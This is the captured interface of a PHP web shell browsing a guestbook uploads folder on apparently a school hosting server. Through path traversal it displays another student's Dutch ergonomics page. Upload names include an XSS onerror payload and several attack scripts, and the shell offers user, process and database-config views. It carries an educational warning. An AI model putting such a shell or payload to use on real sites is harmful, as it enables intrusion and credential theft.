🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../../../589045.klas4s23.mid-ica.nl/public_html/ergowijzer/rsi.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="stylesheet" href="style.css" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ErgoWijzer - RSI</title>
    <link rel="icon" type="image/x-icon" href="/images/logo.png">
  </head>
  <body>
    <div class="header">
      <div><img class="navlogo" src="images/logogroot.png" /></div>
      <div class="links">
        <ul>
          <li><a class="active" href="index.html">Home</a></li>
          <li><a href="overons.html">Over ons</a></li>
          <li><a href="contact.html">Contact</a></li>
        </ul>
      </div>
    </div>

    <div class="hero-rsi">
        <div>
          <h1>RSI (Repetitive Strain Injury)</h1>
          <div class="rsi-container">
            <div class="rsitext">
              <h4>
                RSI, oftewel Repetitive Strain Injury, verwijst naar pijnlijke aandoeningen in spieren, pezen en zenuwen als
                gevolg van herhaalde bewegingen of overbelasting. Het treedt vaak op bij mensen die regelmatig repeterende taken
                uitvoeren, zoals typen op een toetsenbord, gebruik van een computermuis, of herhaaldelijk tillen. De symptomen
                kunnen variΓ«ren van pijn en stijfheid tot gevoelloosheid, tintelingen en zwakte in het aangetaste gebied, zoals
                de polsen, handen, armen, nek of schouders. Het is belangrijk om aandacht te besteden aan deze symptomen, omdat
                ze kunnen leiden tot ernstige beperkingen in het dagelijks functioneren. Preventieve maatregelen, zoals
                ergonomische aanpassingen, regelmatige pauzes en het aanpassen van werkmethoden, kunnen helpen bij het voorkomen
                van RSI.
              </h4>
            </div>
            <div class="rsipics">
              <img src="images/RSI-pijn.jpg" />
            </div>
          </div>
  
            <h1>RSI kan worden voorkomen door enkele eenvoudige stappen te volgen:</h1>
            <h4>
              1.Neem regelmatig pauzes: Zorg ervoor dat je regelmatig pauzes neemt tijdens activiteiten waarbij herhaalde
              bewegingen worden uitgevoerd, zoals typen of tillen. Sta op, strek je uit en beweeg je spieren om spanning te
              verminderen.
              <br/><br/>
              2.Gebruik ergonomische hulpmiddelen: Pas je werkplek aan met ergonomische apparatuur, zoals een goed
              ingestelde
              stoel, een ergonomisch toetsenbord en een muis met goede ondersteuning voor je hand.
              <br/><br/>
              3.Houd een goede houding aan: Zorg ervoor dat je een goede houding behoudt tijdens het uitvoeren van taken.
              Dit
              omvat het recht houden van je rug, het ondersteunen van je armen en het vermijden van onnodige spanning in je
              spieren.
              <br/><br/>
              4.Oefen regelmatig: Versterk en rek je spieren regelmatig door middel van specifieke oefeningen die gericht
              zijn
              op het verlichten van spanning en het verbeteren van de flexibiliteit.
              <br/><br/>
              5.Luister naar je lichaam: Let op signalen van vermoeidheid of ongemak en neem actie om verdere belasting te
              voorkomen. Forceer jezelf niet als je pijn ervaart.
              <br/><br/>
              6.Door deze eenvoudige maatregelen te volgen, kun je het risico op RSI verminderen en je algehele gezondheid
              en
              welzijn verbeteren.
              <br/><br/>
            </h4>
    
          </h4>
          <div>
            <iframe width="887" height="499" src="https://www.youtube.com/embed/nFH63-Ljk2I" title="Wat is RSI?"
              frameborder="0"
              allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
              referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
          </div>
        </div>
    </div>

    <footer>
      <address>
        <p><a href="mailto:563892@edu.rocmn.nl">563892@edu.rocmn.nl</a></p>
        <p>Disketteweg 2</p>
        <p>Amersfoort, AR 3821</p>
      </address>
      
      <div>
        <h4>SNELKOPPELINGEN</h4>
        <ul>
          <li><a href="index.html">Home</a></li>
          <li><a href="overons.html">Over Ons</a></li>
          <li><a href="overons.html">Team</a></li>
          <li><a href="contact.html">Contact</a></li>
        </ul>
      </div>
      <div>
        <h4>ONDERWERPEN</h4>
        <ul>
          <li><a href="bewegen.html">Bewegen</a></li>
          <li><a href="zithouding.html">Zithouding</a></li>
          <li><a href="rsi.html">RSI</a></li>
          <li><a href="beeldscherm.html">Beeldschermwerk</a></li>
        </ul>
      </div>
      
      <p>&copy;2024 Ergowijzer Alle rechten voorbehouden</p>
      <p>Website ontworpen door SpaRood&copy;</p>
    </footer>
        <script src="script.js"></script>
  </body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!